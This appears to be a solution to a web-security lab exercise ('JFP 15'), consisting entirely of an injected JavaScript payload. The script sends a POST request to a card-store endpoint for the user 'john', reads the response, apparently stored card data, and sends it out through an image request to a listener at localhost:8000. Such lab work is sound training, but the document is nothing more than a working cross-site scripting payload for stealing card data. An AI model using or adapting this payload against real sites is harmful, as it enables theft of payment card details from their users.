JFP 15 Solution [pop cc and postl]

<script>
(function(){var url = 'http://user.com/lab/webapp/jfp/15/cardstore?user=john';
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var data = xhttp.responseText;
new Image().src = "http://localhost:8000/?card="+data}};
xhttp.open("POST", url, true);
xhttp.send();})();
</script>